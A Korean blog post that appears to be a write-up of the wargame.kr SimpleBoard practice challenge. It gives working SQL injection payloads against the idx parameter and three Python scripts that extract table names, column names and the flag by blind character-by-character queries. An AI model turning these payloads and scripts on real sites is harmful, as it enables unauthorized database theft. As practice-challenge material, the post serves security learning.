http://wargame.kr:8080/SimpleBoard/
간단하다. 아무거나 눌러보면 http://wargame.kr:8080/SimpleBoard/read.php?idx=4
이렇게 idx=4가 붙는데, 여기에 인젝션이 가능하다. 문제 힌트에는 union을 사용하라고 했지만
그냥 블라인드 인젝션으로 풀었다. 소스를 보면 클래스가 두개 있는데, 이걸 읽으면서 어떻게 풀어라~
라는게 bughela님의 의도같았지만.... 굳이 소스를 몰라도 풀수 있었다.(ㅠㅠ 죄송해요)
?idx=4 or 1=1%23 처럼 입력해보면 1이 나온다.
?idx=4 or 1=0%23처럼 입력해보면 4가 나온다. 인젝션이 가능하다.
?idx=2 or (select ascii(substr(group_concat(table_name),1,1))<128 from information_schema.tables where table_schema=database() limit 1)%23
아무런 필터링이 없어서; 그냥 information_schema의 테이블 이름을 group_concat으로 한번에 가져와서 코딩을 했다.
# -*- encoding: cp949 -*- import urllib2 t_name = '' for j in range(1,40): for i in range(32,128): print j,i,t_name req = urllib2.Request('http://wargame.kr:8080/SimpleBoard/read.php?idx=2%20or%20(select%20ascii(substr(group_concat(table_name),'+str(j)+',1))='+str(i)+'%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201)%23') #req.add_header('cookie','') page = urllib2.urlopen(req).read() if page.find('Hello World!!') != -1: t_name += chr(i) break print t_name
이러면 README,SimpleBoard 라는 테이블두개가 나오는데, README를 읽어보면 될듯...
?idx=2 or (select ascii(substr(group_concat(column_name),1,1))<128 from information_schema.columns where table_name=0x524541444d45 limit 1)%23
그냥 된다. 모든 컬럼 이름을 가져오는데 가져올 테이블의 이름은 0x524541444d45(README테이블.)
# -*- encoding: cp949 -*- import urllib2 t_name = '' for j in range(1,40): for i in range(32,128): print j,i,t_name req = urllib2.Request('http://wargame.kr:8080/SimpleBoard/read.php?idx=2%20or%20(select%20ascii(substr(group_concat(column_name),'+str(j)+',1))='+str(i)+'%20from%20information_schema.columns%20where%20table_name=0x524541444d45%20limit%201)%23') #req.add_header('cookie','') page = urllib2.urlopen(req).read() if page.find('Hello World!!') != -1: t_name += chr(i) break print t_name
그러면 flag라는 컬럼명이 나온다.
?idx=2 or (select ascii(substr(flag,1,1))<128 from README)%23
# -*- encoding: cp949 -*- import urllib2 t_name = '' for j in range(1,50): for i in range(32,128): print j,i,t_name req = urllib2.Request('http://wargame.kr:8080/SimpleBoard/read.php?idx=2%20or%20(select%20ascii(substr(flag,'+str(j)+',1))='+str(i)+'%20from%20README)%23') #req.add_header('cookie','') page = urllib2.urlopen(req).read() if page.find('Hello World!!') != -1: t_name += chr(i) break print t_name
돌리면 답이 나온다.
'webhacking > sql, sql injection' 카테고리의 다른 글
hackcat 테스트용 웹문제 (0) | 2015.06.04 |
---|---|
chall.stypr.com YetAnotherSQL (0) | 2015.05.24 |
mysql 새발견, 5.7.5이상 에러기반 인젝션 (0) | 2015.03.26 |
adm1nkyj님의 워게임. prob2, 8 (0) | 2015.03.25 |
sql injection 문서. (0) | 2015.03.22 |